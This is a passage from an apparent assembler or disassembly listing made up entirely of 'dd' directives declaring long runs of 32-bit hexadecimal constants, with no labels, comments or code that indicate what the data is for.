		dd 0D965B029h, 8F2468h,	9157DE1Bh, 1CCFC5F4h, 23600248h
		dd 0D6D90149h, 38FFE759h, 80A9B20Ch, 0B4C324C0h, 0AFE400FBh
		dd 0F73DBF59h, 0C67018Ah, 29DB09C9h, 14300754h,	870A448h
		dd 30094F0h, 18E7F455h,	0E0BC9A90h, 81EE2187h, 76514C21h
		dd 13008B18h, 0BC38DD47h, 14B982FDh, 0C48D0C1Ch, 738C02E8h
		dd 0DB5800F3h, 733F264Fh, 6C4B3A1Ch, 9F23E02Fh,	0FD71BE00h
		dd 0F462ADFEh, 0CB0831F9h, 9E7EF0h, 59243F4Dh, 227402Ch
		dd 0BC00D837h, 0E17D290Ah, 0C93902C0h, 0E0FB883Eh, 97C5D4E0h
		dd 317BD330h, 284811C1h, 9D8EC3h, 0DD82C666h, 0B8650D9Bh
		dd 925AE200h, 10E317FBh, 13C89C44h, 23142F7Dh, 0D0DC028Eh
		dd 40F79CD2h, 0E00C23B3h, 784B5907h, 78A8762Bh,	4A00831Fh
		dd 5B0F7FFDh, 89F79B7h,	856AA7BCh, 0A748F133h, 50A01804h
		dd 7DD32071h, 4996F80Eh, 0E1378010h, 3D5DE74Dh,	0AA815894h
		dd 0D15B0B75h, 0F6D04146h, 0EA00086h, 643B3428h, 9DC8C2B8h
		dd 198088B7h, 93F4DAA3h, 7963171h, 47BB58h, 0C87AE73h
		dd 0D227A182h, 0D9622408h, 4A842E88h, 0E488458Ch, 9D7B6079h
		dd 56850564h, 22C00BD2h, 713046BCh, 0CB117B5h, 0C0FC3867h
		dd 7CCC4950h, 1CB98492h, 29189F79h, 0B848600h, 45557479h
		dd 0EC3002E4h, 0BA48FA8Fh, 91D94851h, 6E021A18h, 7476F77h
		dd 1E50E818h, 92E6248Fh, 3A9D9708h, 0B0239Ch, 0C645F3D4h
		dd 0B92C3655h, 0D422DBFAh, 874400A7h, 0B21E6D60h, 0EC25E279h
		dd 91109D02h, 4E8F858Ah, 467C7080h, 0BA70A143h,	2D095E18h
		dd 65641CD9h, 46588034h, 450E7E2Dh, 0EEE25900h,	1C715015h
		dd 82132477h, 9C4569A4h, 6F6001E4h, 870684A5h, 8D06BFBCh
		dd 45072A50h, 44F487DCh, 0B48F609Ch, 0F2F50058h, 0FB2B82D1h
		dd 1C919320h, 91D49727h, 0D4858007h, 1346CEEh, 1EC60ECBh
		dd 228E32BFh, 189058B8h, 5D898D07h, 6CB80080h, 6B2342ADh
		dd 78D26E75h, 1A85A49Bh, 1754808Eh, 1F7A087Ah, 723F0498h
		dd 0E80CC806h, 0AC098C87h, 0A1667182h, 97FA6100h, 0B9782180h
		dd 7B79BCEEh, 0C8E23202h, 79ED2B72h, 189F7104h,	0E287EC3h
		dd 64C080ACh, 79338C00h, 0E2D1D8Dh, 910417D3h, 8CC7801Ch
		dd 96EDD2Bh, 0AA0F9BF1h, 0DE295881h, 9F707075h,	5677A80h
		dd 8C38EDF3h, 6414E010h, 46CA7700h, 0AB332F8Dh,	1B58CFF4h
		dd 0A09B69h, 0A4ED18E3h, 8180063Ch, 16D3B4C5h, 82876BFh
		dd 8AF61002h, 209EBD48h, 4B8C0E7Dh, 23582E7Dh, 0A789018Ah
		dd 30D527C4h, 0B2886E50h, 31144A8Ah, 2D9C8884h,	0E4A23ACh
		dd 0C25B54Dh, 0C760A247h, 0E6F045C4h, 56A32A0h,	0D78765C5h
		dd 8FCC01D9h, 0A78610EAh, 91009758h, 0DE508192h, 2460CF27h
		dd 8BD0079h, 3CB943DAh,	1A2CF9B8h, 8309F0E0h, 23804B76h
		dd 72014168h, 6F0CB0B5h, 0C1803023h, 1A53B54Ah,	8A027F71h
		dd 0A90525A1h, 37B88B65h, 94E808Ch, 0CD1FD9FCh,	8F1D6B00h
		dd 0AF1808C5h, 986D2459h, 7467458h, 6D172401h, 2013641Fh
		dd 0B8021644h, 63D00D6Ah, 5680805Eh, 0F2037EE5h, 0D191C060h
		dd 0E0D6B955h, 123E6673h, 8C4E803Dh, 9C51DB2h, 194A4E7h
		dd 0B0DE1EE0h, 80F0FCCBh, 5062D379h, 496FE56h, 6088BC9Ah
		dd 7AE4E005h, 358D7206h, 0C5D0747Ch, 20689BFAh,	333003C4h
		dd 0F9104460h, 9C8DC8FAh
		dd 924676DCh, 0E3D7C900h, 0EFDB3D47h, 246F7373h, 0B0281C51h
		dd 58FD272Eh, 48774676h, 0DFDB0062h, 280C9B5Dh,	0B94560EFh
		dd 0FFD08E3Eh, 0C247096h, 3BE0808h, 9F77817Bh, 0D90B48A6h
		dd 4DFA7D55h, 3D0FC030h, 133879F1h, 3B42FE7h, 929F1EA8h
		dd 850A5h, 368D45CBh, 0FCB9A48Ah, 3163160Bh, 0F42882B6h
		dd 44DC474Ch, 6BD66091h, 0E6CC3CD3h, 78045498h,	0D2208792h
		dd 1C8A7A9Dh, 8A5863F6h, 3EFC0E4Dh, 5FB0404Bh, 262A68EFh
		dd 0F4800526h, 0C741191Dh, 99B8D373h, 181C1038h, 67C64FFh
		dd 0B1CBB148h, 73DC08B6h, 2098B082h, 8C149036h,	4C48A87Ah
		dd 8C04E8C8h, 0E754020Dh, 81F069A0h, 426A5A7Bh,	1550184Ch
		dd 54048CABh, 56EF0197h, 9BF8E883h, 89F9007Dh, 3A8DD604h
		dd 2995287Ah, 24AC022Ch, 87900BCh, 18C36C4Bh, 1D84B2D3h
		dd 12B1470h, 0F953D109h, 0FC6368h, 61A1B5DCh, 0FC396Ch
		dd 0D440637Ch, 0C32A8A9Eh, 82DB5304h, 40915775h, 0B03D0361h
		dd 0D69F1B0Bh, 30E17863h, 7E6089DBh, 0D0F8912Dh, 0D00CC2Dh
		dd 9A28A5B6h, 0CD719970h, 4E7E4800h, 0A3D51D83h, 8812098Ch
		dd 0B0C807F1h, 0A47306C5h, 5DCA2801h, 0EFC44E5h, 80B85985h
		dd 0DABBC00Ch, 160022EAh, 0E03E5B17h, 2818B408h, 3804273h
		dd 968707BBh, 909C529Fh, 0D3F57234h, 9808C9Eh, 6A673482h
		dd 497000CDh, 0AB40C6D5h, 81001396h, 0DBAEC7D7h, 280F6F4Ah
		dd 12D00DD8h, 43E8D4Eh,	676A3E0h, 95169D3h, 0A381F65h
		dd 2F77AC21h, 0E610190h, 10BB9C48h, 98D2A87h, 0E49A3BEDh
		dd 21C73068h, 3AFED5F6h, 4412A118h, 0A0919EC0h,	2CF59318h
		dd 877894F3h, 0C409C3BDh, 198944A9h, 0D4204C89h, 42FC295Ch
		dd 7D11C8h, 5144A1B9h, 5B93FBh,	2F2566D6h, 73D51901h, 0BF0ABD71h
		dd 0FCE10944h, 81D91089h, 0B454E2C4h, 9FF78A4h,	58A04DEFh
		dd 7482840Fh, 67614B6Fh, 0CBC5F239h, 1C781800h,	91A5368Fh
		dd 0CEFE02F8h, 0EC790CA7h, 66EF5600h, 0A006DB39h, 18280F3Ch
		dd 216DD3E3h, 7F4CDC52h, 0BFB1B80h, 7022C8D9h, 6FBA091Eh
		dd 75809436h, 328B4819h, 804D901h, 1BD41011h, 708ECC45h
		dd 0AEC38D88h, 0E8498805h, 0D6AA1690h, 0E008C089h, 0EC02C114h
		dd 13DB16D8h, 582073EDh, 0B6F02708h, 3BBC900h, 0EFA7E20Dh
		dd 0CD2108Dh, 313231A1h, 0F82C7C7Ah, 488C88B8h,	0D1040840h
		dd 0C20D8513h, 0AD02B69Ch, 446867C5h, 980C611Fh, 740E5C8h
		dd 7B213262h, 344B7E38h, 25201CA0h, 58DD542Eh, 0F4FC0681h
		dd 0E030779Bh, 5F31E921h, 0C1898CC8h, 0F583188h, 0D5FC50E8h
		dd 0E902379Dh, 871E7E42h, 0E514C8C6h, 22405F08h, 5F30BB18h
		dd 1CD8142Dh, 57E0846Ch, 0AD092D47h, 919009E8h,	6BC10334h
		dd 1C48A434h, 0D1E45E5h, 20083B6Dh, 0B4B0C43Ch,	0B81085E9h
		dd 0DC89180Ch, 6BC202Ch, 79FE68Ch, 87BCD573h, 0F7F9C04Ah
		dd 0D01A06B5h, 8F587857h, 0F8040AA0h, 46547468h, 6DBD1D89h
		dd 94096146h, 0A0EE1219h, 7D0456Fh, 4D80408Bh, 89264A44h
		dd 72A15A00h, 0A5B46F2Ch, 84C20E35h, 1402082Dh,	285162A3h
		dd 69181DD1h, 41AF601h,	7F94FAF5h, 8CF041F2h, 4F778180h
		dd 0EC14EF2h, 72C097Fh,	8B409CFCh, 934928h, 0D9D553B8h
		dd 0B24D02B1h, 0D4C0A800h, 75057D41h, 2098B8C1h, 0AC98BABCh
		dd 87627409h, 44AC4793h, 0E752607Ch, 18EC4D30h,	1030EB29h
		dd 0AE17217Bh, 7B465604h, 25C7913h, 668CE11Ch, 0ACDEC0E0h
		dd 9D804082h, 0C96F0C0h, 0A156BF16h, 0EC986D18h, 0E76C7025h
		dd 60046448h, 8B058F5h,	43D3088Eh, 5107A824h, 0B6205F8Fh
		dd 0C27B5330h, 0EDB05B18h, 0FC73A4D1h, 0C3530961h, 1C29A7C0h
		dd 9C4E9F12h, 3818DC42h, 8C790002h, 0EA7C0436h,	60553F04h
		dd 0A8F00F78h, 0E7F1CE52h, 30F05C06h, 60B39D04h, 54BC2006h
		dd 8177C2Dh, 5808C11h, 0C0D70C7Ch, 8C8CE4Ah, 0CAE100A4h
		dd 9F86BC91h, 4C0981BDh, 5207DD60h, 2AE900E8h, 9FE0CAA7h
		dd 5C00BBE7h, 8AB45055h, 67A76DBh, 61645812h, 71F23101h
		dd 18E55938h, 8DF1F60Ch, 18B61714h, 9CA0CFF3h, 9D823923h
		dd 0D3A48AD4h, 3F001C52h, 0AD0CBDEh, 6973820Bh,	0FC87196Eh
		dd 6C10C943h, 960027E8h, 1A585329h, 0FDB2ACh, 169E8E41h
		dd 0B66DD255h, 68D0DB18h, 0FAFBD31h, 0B720CA71h, 1962D326h
		dd 8E89683Ch, 40263B63h, 0D1C2502Eh, 0DA9804A3h, 8416884Eh
		dd 23702E1Ch, 80F001Ch,	8F358ECCh, 0A49F3D12h, 4D6E5000h
		dd 1F7187E8h, 40100E7Dh, 0D39DC44Bh, 4C2EF414h,	0E7252183h
		dd 609C4488h, 0B0208899h, 1DF5043Bh, 0A8F4FAF9h, 16890DECh
		dd 8882A1F7h, 0D0B8AC76h, 63F5F9C0h, 36180304h,	0ECE96DCAh
		dd 13040ABCh, 27B70EF9h, 0FAB89081h, 6EEBFC00h,	91681D9Fh
		dd 822831Fh, 0E40CE8BFh, 8FF9396Ch, 0F98260F9h,	8B78635Dh
		dd 0E3A7FC00h, 0EA193A89h, 0CC0D1DB0h, 39B9408Dh, 93416AD2h
		dd 0B72F4091h, 0B22E0034h, 95010BF2h, 0D2E13400h, 280D6881h
		dd 0E49CA73Ah, 3EAE6001h, 0FCFE1895h, 2419190Dh, 969DC300h
		dd 0E8254773h, 1EEB09ACh, 0B8D0E777h, 393E8A02h, 6081E688h
		dd 828616B8h, 0F096D4B1h, 409AA33Ah, 6497C124h,	138700DEh
		dd 0A2DA482Ah, 750026A8h, 0CB0EBD86h, 976CA05Dh, 1EBE2421h
		dd 0E4C4FC55h, 958B407h, 28C2378Dh, 4790AF3Eh, 0AB820CBDh
		dd 431C6065h, 74DB05BEh, 0B4638F40h, 0F53A9180h, 0E8FB2771h
		dd 2E5E349Ch, 60B14Dh, 5F8812E2h, 6D076886h, 0FBB2643Ah
		dd 0B943DCE0h, 0F5900BC6h, 5427E540h, 6491E961h, 0D8D1D11Dh
		dd 9C48FEA8h, 0D2DA80A4h, 993F67h, 4DE5415Ah, 0EDB85B4Ch
		dd 465C88B4h, 0DC733B92h, 7B7A04FEh, 2CE88F07h,	0C1EA2474h
		dd 9C372F44h, 7DC24387h, 280EB0E0h, 0A2A0A94Fh,	522DD240h
		dd 0FC0B158Fh, 6600980Fh, 4E32F63h, 1000D9Dh, 25DE5367h
		dd 1E1BFBBh, 0A4ECF2Eh,	0C69E8792h, 0FF76F074h,	850EFF18h
		dd 0D2BF1C67h, 0ED8F4C44h, 9EAC58A9h, 2C1F58h, 9E60435h
		dd 2E70BFD0h, 4254EAB1h, 887C9385h, 914676h, 79C0087Dh
		dd 15938EDh, 93800596h,	0D2C1EC09h, 4676407Eh, 301E7297h
		dd 672739FCh, 6006646Ch, 13C453F5h, 0F0E7300Ch,	400348ACh
		dd 0ACF8848Eh, 7BB8894h, 34A31E8Bh, 4C93CE7Fh, 754B8583h
		dd 0D16887E0h, 43B10400h, 938B6C28h, 7B7F0E54h,	0AA82D0D3h
		dd 0C0610B57h, 0D26DD076h, 6B01167Dh, 74EDFAF7h, 288DD4CAh
		dd 12077A2h, 0BEBBD218h, 25F4BA49h, 62788205h, 3BC8C1FEh
		dd 135C6E6Ah, 16008DB5h, 6D4A23D8h, 1205F1Fh, 0E5567210h
		dd 0BCA87C73h, 47038C8Eh, 36021106h, 8A3CF8D0h,	0E6C009D2h
		dd 0F0F03008h, 188840BBh, 18656959h, 88600164h,	0AE09FDA5h
		dd 206B7482h, 0F2048A8Ch, 0EF1053Fh, 0B54ED3D0h, 5C002280h
		dd 86427CE8h, 0C84C8A4Eh, 500C974h, 0E5BF2CD7h,	1C90A31Ch
		dd 8E0D6296h, 3A6B69DAh, 9E2360h, 0BD7B7222h, 87010B75h
		dd 1CD6DF9Ah, 8C68BE9Fh, 14E1B501h, 302047CDh, 84407620h
		dd 643816E5h, 5564A429h, 47FD202Dh, 6077440Ch, 0C09724h
		dd 4231270Eh, 7B10FB99h, 46741496h, 80B33F02h, 0B159CB12h
		dd 314D682h, 0C34031E5h, 1CE0B51Fh, 80BE4C24h, 3E3576DCh
		dd 3100EC27h, 18B8697Ch, 5602BD79h, 0A9A7926Bh,	3848921h
		dd 0F4EF08DCh, 6448D309h, 523C091Ch, 597D83C0h,	0A87E2E93h
		dd 260F2Ah
		dd 20EA13C7h, 10115B9Bh, 0EFF8A427h, 7975402Ch,	0AE04357Bh
		dd 0BDDA8DE0h, 0E17E1492h, 0D4C6932Ch, 764676E4h, 0E5A88500h
		dd 0ACD9B19Ch, 8C581374h, 426F10F4h, 47EA730Ah,	0F6FB8B9Ch
		dd 95444500h, 2C5FFA8Dh, 54E67012h, 5B9E54E0h, 0A095E20Eh
		dd 35806215h, 0A4D2FCh,	94F44363h, 870AAF24h, 0A2382800h
		dd 0C86C2570h, 0E6D40423h, 21F8030h, 476BBA16h,	60904404h
		dd 1F5DD9BBh, 0C09BA073h, 0AB8907EDh, 0D6E0E31Fh, 238A258h
		dd 0C35B982h, 95C7A19h,	0BF58E3FBh, 4CA0A4F0h, 0F0A23E12h
		dd 465E687Eh, 1376027Bh, 0A2FA188Ah, 0E2327280h, 9EECE6C0h
		dd 6D00D48Ch, 86136234h, 2671C984h, 0BACEF74h, 7CEE2E24h
		dd 0A818E50Ch, 4A431803h, 0AEA890D3h, 0E10046DEh, 0A3206E71h
		dd 1C74B42Bh, 44687F06h, 0BCA65C73h, 8C8ABC8Ch,	94DEAB00h
		dd 6B3084CBh, 91389077h, 18174B84h, 4B0BC63Fh, 0BB808DF5h
		dd 34A18251h, 63087A05h, 0A47A6169h, 5341ED00h,	8B724BF0h
		dd 56817E05h, 78020961h, 0C0B4E349h, 8447DB1Ch,	0D1A08810h
		dd 2861AE8Bh, 1880C0E7h, 8095B4A3h, 8D437D9Ch, 0A4111429h
		dd 511889D1h, 85D7F17h,	0CFDDA4D0h, 0A07009Ah, 85391DA8h
		dd 0FB3D7332h, 0D990E474h, 3F4770D8h, 8C8D01Fh,	0E2A65A85h
		dd 52BD098Ch, 8D441879h, 88682FD2h, 696FF0A2h, 0E176FCD4h
		dd 4C046018h, 0D36E290Ch, 0F50EA8BDh, 78EE904Dh, 7D741A0h
		dd 775AD006h, 7EFA140Eh, 0B8F45712h, 415018Dh, 0F71221F6h
		dd 0C1EAE144h, 8A0A484h, 5818FF74h, 87C0E826h, 6079940Ch
		dd 720CB41h, 1C341468h,	9C01BB73h, 0ED0DC3A7h, 0A5C477DAh
		dd 8BD49CFAh, 0EC6808F8h, 900AE4Ch, 7BA10EDFh, 2B23D21h
		dd 0FCDE8EA8h, 0E8DE1E41h, 1C4676h, 0ADBE6B32h,	0BD5DD5Fh
		dd 2E8D6EB6h, 0E2C3A083h, 50881h, 1EB979h, 0D55603AAh
		dd 8A48255Dh, 92063E3Fh, 0A4B2EDE0h, 6A3096E2h,	2D54B162h
		dd 7900ED5Ch, 9F5DF459h, 6880781h, 97167B5Fh, 4EB673F7h
		dd 0D6F31E93h, 0B1D3F9DBh, 5C2F785Bh, 70001D23h, 22623BDBh
		dd 9881EA6Eh, 501464D0h, 0E464C341h, 8F4EF903h,	0F45A0BEAh
		dd 9CC8088Eh, 0D1FABAC0h, 0A77F96h, 0FF057B6Fh,	6A3F8F1h
		dd 10A0D35Dh, 300FB74h,	43DBBE48h, 0AB01614Ah, 8A8F404Dh
		dd 402AD0A4h, 6946A1ACh, 2D003186h, 62D33452h, 90B84272h
		dd 0A6F24400h, 4309D01Eh, 3E6B8640h, 22894150h,	0D3300702h
		dd 0CC5D517Fh, 0C860E7CAh, 0E560EE4h, 0A3A09784h, 0B152CB78h
		dd 0BFBC0B04h, 0B8ECA886h, 0B284B2D7h, 3007318Bh, 0F65CEB95h
		dd 2E340994h, 4484477Dh, 0E5F0607Ch, 2038985Ch,	0EF029DA2h
		dd 44B94656h, 0E8705ECAh, 73465430h, 0AC361F00h, 0C7F3C68Fh
		dd 0F1FAB75h, 4B12300Eh, 606C74F4h, 234FE19Dh, 0BD3FDBB5h
		dd 137105EAh, 4CF406ADh, 80F274h, 0B8608F12h, 86C4A0CCh
		dd 0A2F0E9FAh, 7E50BA4Ch, 0E6FB4440h, 6CD54507h, 8C8EBC10h
		dd 0E2D97F00h, 0A88D73A7h, 2A8A0E3Fh, 3A3685E0h, 0B872310h
		dd 1C72FCC5h, 3AD91300h, 5CF98DCCh, 2CBEFABFh, 8105E78h
		dd 0A079CD4h, 0A4A01E2Eh, 5B074880h, 99D89094h,	0D3017EFDh
		dd 320CF53Eh, 42EC2003h, 37481EE9h, 0F41725D1h,	660346B8h
		dd 0E5D586B8h, 97BC8810h, 562EE01Fh, 0BF34046Ch, 0B0A21675h
		dd 0B727A501h, 0D41AB93Ch, 24000DB6h, 5A8DE79Dh, 0EE0C70C1h
		dd 6810C97h, 62C08037h,	9F8C9D0h, 0A01D037Bh, 9FA4770Ch
		dd 90AD48CAh, 0C8FC8B5Eh, 0B0B0C47Bh, 0F7FCB1B0h, 0D2BF1E08h
		dd 5E31CA6h, 0AC058890h, 8CB0E8F0h, 56CB7B00h, 0AA570B6h
		dd 582100ABh, 0DF3A8988h, 0B04BF94h, 9EDAA71Ch,	8DA110E8h
		dd 0B056DAF2h, 470A031Ch, 0EC25A46Dh, 0F9EE0600h, 288778EAh
		dd 17F020E5h, 524E5B03h, 816C11h, 31A51329h, 53D09C38h
		dd 0B2D13D0Fh, 0F4C240EDh, 5BEC3011h, 8FB0811Ah, 601F7F5Ah
		dd 0F4441004h, 6F0AFC02h, 64FBF300h, 2A70C79Dh,	0C0EB7293h
		dd 73022858h, 8E768F9h,	9745EE8h, 0EC826BF7h, 0AF002F98h
		dd 6005615Bh, 0A71B99FEh, 0B0B68EC6h, 0D24B4489h, 87ED3004h
		dd 6A2AD1E9h, 0CC88B55Eh, 0E69F251Dh, 0C0778CE2h, 6082BF1Ch
		dd 632F1080h, 261FB997h, 0E0659DE6h, 5844E7D8h,	31093842h
		dd 9444C40Eh, 802FD63Dh, 808D8710h, 44BA463h, 2DDCAF81h
		dd 98CCBCA5h, 80069CC8h, 0EF5B771Eh, 8E08C8C1h,	0F314A98Bh
		dd 20998100h, 1F01C922h, 18E48BBAh, 6C641C6Ch, 82D02475h
		dd 0A42A0934h, 0CE3DC879h, 0F8F62893h, 42EF83h,	0D3C7CB18h
		dd 813EDAC4h, 15018490h, 0FDD28959h, 82FBEB4h, 0D8294DCh
		dd 497867D0h, 471056B8h, 84FF541Fh, 0AC968FB9h,	28076F03h
		dd 160218A6h, 17896EDBh, 0BD40491Eh, 9D7DDDCh, 6C20ED51h
		dd 9148C870h, 0BAFC114Ch, 207B081Dh, 0B8612FF5h, 0A50329DEh
		dd 0AA18C4BDh, 9C00806Eh, 0C204D949h, 0CB1D4BFAh, 4449F98Eh
		dd 641447B4h, 36546097h, 0B29F2EA6h, 0D2D78668h, 44962082h
		dd 6D7D17DCh, 0C2D000FEh, 7F0F75A8h, 465E189Eh,	415D0E8Fh
		dd 5801C0AEh, 2A280203h, 28808FBh, 0C0753867h, 8BC0F83Dh
		dd 0B1003429h, 8E5E0144h, 4AD28D4Bh, 0D93C8060h, 6140D0EFh
		dd 8C0B00F8h, 0CAB79BB3h, 24FC119Fh, 411E25Ch, 1A879C06h
		dd 33B5A0D1h, 0A910353Ah, 5CF4A8B0h, 2200B449h,	0DEA41CFCh
		dd 17BFCABEh, 807C9154h, 0B430E767h, 4369D06h, 0EA19B598h
		dd 0DF88AC4h, 0E86C43C1h, 74405B2Eh, 6A037646h,	0BD70195Ah
		dd 871CCDB8h, 0FCC0664Eh, 93930263h, 0E981D814h, 0C013994Fh
		dd 51B030F7h, 9C246AB2h, 8B08F878h, 0E28D0447h,	3816AAC8h
		dd 91F260F2h, 0EC6EE30h, 0F471946h, 28E02A09h, 0E0D2D8Dh
		dd 82FF58Bh, 0A6C493E2h, 6E405A10h, 5F1F0060h, 27ECDEF2h
		dd 9F1C1278h, 4EC4B83Ah, 0D913C46Eh, 8880A206h,	92A9A46h
		dd 0D9056074h, 0D5C28F27h, 7B988B40h, 0FCC271F8h, 3509A182h
		dd 0C27F300Eh, 400C7CA8h, 0D24C19D4h, 2641D800h, 51834507h
		dd 0B71800A3h, 7A2794A2h, 0EB3C73F4h, 588E03Ch,	0A94923D0h
		dd 96E5060h, 54DB7CB8h,	98C27058h, 0F79D274Ch, 46184045h
		dd 523961F1h, 850410EDh, 500C7682h, 8C78E8C8h, 0A5810500h
		dd 6AEEBF6Dh, 392B05ABh, 0A87282E8h, 4C089C58h,	9B7317F3h
		dd 89F08034h, 2B20E3Fh,	1FE1B10Dh, 0AC5485C3h, 77465Ch
		dd 94B1E3BEh, 0E0ACBD08h, 0C45D51EBh, 4A2C0A2Fh, 66700FA4h
		dd 8243827Ch, 78CA5174h, 7C79E4F9h, 38B53E18h, 80977684h
		dd 30B879E5h, 44FD15EBh, 9400D8B8h, 0D4111430h,	0BFD513Eh
		dd 0FFD08D46h, 0EB1390E0h, 0BCE02C4Bh, 2C129DB5h, 0A404A07Ch
		dd 0B4B2BFA9h, 3B39D300h, 49BBED4Ch, 4709FCE6h,	51B787E7h
		dd 190279C0h, 0B36EFF0h, 2A23510Ch, 0A83FF000h,	524B7FB7h
		dd 0C6C0C4DBh, 69FA224Eh, 50F15400h, 20409B28h,	0ED0E008Ah
		dd 0AAA65C7Bh, 0B30EBE15h, 2910DF1Dh, 13B87C64h, 88AC8B7Dh
		dd 16BCC288h, 6D0080D1h, 805B5669h, 9C1B0951h, 685E0C59h
		dd 0CD8C2B2Dh, 9D07C078h, 0D9007453h, 0B29C58ABh, 97B8FCADh
		dd 0B871F089h, 6CD402EBh, 987309A1h, 0E058D8A3h, 60B80211h
		dd 6CC83365h, 2580ACDEh, 5A2635A9h, 0E310B8Dh, 0F0787318h
		dd 1338B7BDh, 3FC9Bh, 8ADCE7E2h, 2EE6C22Ah, 0B2C7981h
		dd 6C9B322Ch, 0B5444CD0h, 31DA3F00h, 0F4413A82h, 0F8B07D69h
		dd 0DE8F1458h, 1C13904Eh
		dd 23F43E99h, 53BA009Dh, 0B411CD45h, 473B0E0Fh,	1C41B217h
		dd 0A9F29FB6h, 0EDF8642Fh, 4866A8ACh, 0EB105448h, 0F9E80A73h
		dd 0E040ECDAh, 5A87E31Eh, 23CB8CAh, 0A05D49DBh,	0B058D1D5h
		dd 32BE7908h, 8F105F60h, 7814A704h, 483627C0h, 75919017h
		dd 2070009Ch, 83D9C49Dh, 0ACCDA04Bh, 7AE8086Fh,	0D5BF8800h
		dd 1B377244h, 0A02B82DEh, 0DABA0818h, 0C8D3B690h, 6C806A80h
		dd 3BB9357h, 0BD791FDBh, 7890E709h, 393CA533h, 5038CDh
		dd 7BCE3471h, 5AB15B46h, 80DC9B0Bh, 0E32BF30Ah,	44935E70h
		dd 3E756B84h, 0B8000423h, 2430E75Bh, 81D8B611h,	77DA26E0h
		dd 7C582E57h, 1758D5F1h, 7B13C2Ah, 0D8CA3654h, 1343A144h
		dd 5D8841D5h, 0B9490762h, 0BC505944h, 0B6B80692h, 88825EBFh
		dd 9FABA000h, 84C6100Bh, 632F00FBh, 94AC2883h, 0A474F895h
		dd 0ED409618h, 1709674Ah, 248A96Eh, 8CF884F1h, 54598C5Eh
		dd 439E1B0Bh, 80219E29h, 0D2104B18h, 2E9CE149h,	0D6F8C31h
		dd 5EE876DEh, 0E6270446h, 0F44BE810h, 0DD7B1C00h, 8F3D059h
		dd 0BE2E01BFh, 9B50525h, 595439E7h, 64F58EB8h, 0BA348C07h
		dd 0C000B86Ah, 0AAE6E020h, 0A104EF76h, 0ECE70BBAh, 61CC80E9h
		dd 0E8BE7359h, 91A4976Bh, 1FA08075h, 0F6D9824Ch, 0C48A4B39h
		dd 0D714B8E8h, 96E0F4A6h, 0E3790577h, 0AD30E418h, 0CD14C1h
		dd 3319823Fh, 0F8948129h, 5C6F48h, 0EF7C61D9h, 5E1FA55h
		dd 63BFC01Eh, 11904080h, 0E0488C4Dh, 0AC66F039h, 0EB001628h
		dd 0FDD1565Ah, 0FA5D0143h, 112CC2FBh, 0EA985430h, 0B505206Fh
		dd 8076A66Ah, 0E89D736h, 0D28DF104h, 0FC888774h, 3010412Bh
		dd 3872322Ch, 300EAA0Bh, 957CD807h, 20D9D889h, 81189EF1h
		dd 352C6500h, 69D34C25h, 178A24E7h, 9009415Ch, 63318C89h
		dd 1FA3C19Ch, 256446Bh,	38A21F86h, 8BF260C3h, 67D00300h
		dd 0F038976Fh, 0E73E300Dh, 0C48D7C66h, 0A5366092h, 0F0FD0227h
		dd 0FEBF1CD1h, 2C40955h, 53F4D55Ch, 9C807348h, 820296E4h
		dd 0B912DF17h, 4BB8843Eh, 0A00258BDh, 1F77949Bh, 989508D8h
		dd 15C31EE4h, 942B01E6h, 0A4FA29h, 0B0E14C8h, 4D3C8798h
		dd 80A13A9Fh, 7E749EEh,	2AC6AE1h, 25786541h, 0C87E723Eh
		dd 0D2B72E00h, 45D1229h, 0A794DBB0h, 5F40E05Ah,	7A280727h
		dd 8EE025C4h, 5494E8CEh, 0D38501D4h, 6EA9C6A1h,	8CF1F232h
		dd 0BDA8E02Dh, 13A0B086h, 20EA0973h, 5BDE0D50h,	0A000F0B1h
		dd 0B5594ACBh, 0DC379711h, 0DBE0FF02h, 0E4D04BABh, 9FE0B48Dh
		dd 0FC6DED8Ah, 58F16C10h, 923D0CBCh, 4B2CA8DDh,	22908AA6h
		dd 4C6D97B3h, 2FE32CC0h, 5B503B6h, 0D3771C9Ch, 8AA08909h
		dd 17AC7A1Fh, 12036DA5h, 0C848CB68h, 0F03FC774h, 570DC49Bh
		dd 0ED294300h, 0C0F20489h, 0F05DE379h, 236C2B2Ah, 1B5E1304h
		dd 25B84ABCh, 53984337h, 0B009A44Bh, 96D071D9h,	0C2889A86h
		dd 52046124h, 7B7804BCh, 0BC513629h, 404D2BCh, 41F65D3h
		dd 0AE9AE8FAh, 9623683Bh, 0D00E1B01h, 5C2F6B7Fh, 85BD228Ch
		dd 0FC40B4D4h, 771EAED9h, 0CE944EEBh, 0CE74C868h, 0E0A41EA3h
		dd 5F57390h, 0C729ED27h, 601F6440h, 12AF93Eh, 0BE80D536h
		dd 0D30CA9E4h, 6E3B1890h, 295DD0C7h, 9AA8C04h, 0FC519398h
		dd 701888F1h, 0ACD38202h, 0D9F99276h, 18767978h, 3E05E4B5h
		dd 4B1F7D62h, 70E8A782h, 0DA24B2D5h, 0F20B3AD8h, 8EB481BDh
		dd 2F6A2E8Dh, 0B9623FCh, 8C89ACA7h, 84D32490h, 180FECA8h
		dd 4A7C873Eh, 82F0FCE6h, 0D400E055h, 2F77A8D2h,	4AA0595Eh
		dd 0BD8E0D5h, 86BFBE09h, 1D1410AFh, 9D52259Fh, 0B4BE70C6h
		dd 8D4656h, 64FF04F0h, 11DA107h, 8FF20E8Ah, 2F4A9AEAh
		dd 1900207Ah, 6DA795C0h, 40950B47h, 5E3F21Ch, 9983BECh
		dd 8200FCEDh, 207CDF18h, 70833A8Ah, 902F909Eh, 48BA920h
		dd 715982ECh, 0DF98CE7Dh, 436B06E3h, 0D50540BCh, 815CE9E3h
		dd 764F2880h, 0F4F09C61h, 0D0869F00h, 0D1B61795h, 0B4E21C1Eh
		dd 0CB920508h, 0BCDCF96Dh, 5F030091h, 0D95A303Eh, 10E61E49h
		dd 737D5427h, 520D58ACh, 0DD9CD405h, 24B27782h,	1DB00808h
		dd 0E2BF1602h, 67054AEh, 91501889h, 8CD28D09h, 9588A2BEh
		dd 0EA144058h, 0E1A0325Bh, 0D888E698h, 111ED674h, 3A4F2C5Fh
		dd 82DB609Bh, 0E48630B9h, 0C8414C1Bh, 80E71A96h, 8E70707Bh
		dd 34F7AA2h, 0D350A325h, 202E881Fh, 0DF401808h,	2D46EF14h
		dd 1C9DFED1h, 4807911h,	0A51E0DB2h, 79088D25h, 20D32788h
		dd 0B07FD970h, 0F41422E4h, 0BBD55601h, 0A66C7327h, 3CB8BC69h
		dd 0EB2B2F04h, 0E4FD930Ch, 8AB9D501h, 845AF977h, 0DA3510D1h
		dd 8B9298B9h, 0C28EC8ECh, 960DB0Eh, 0BC13F546h,	0CCBC8ACBh
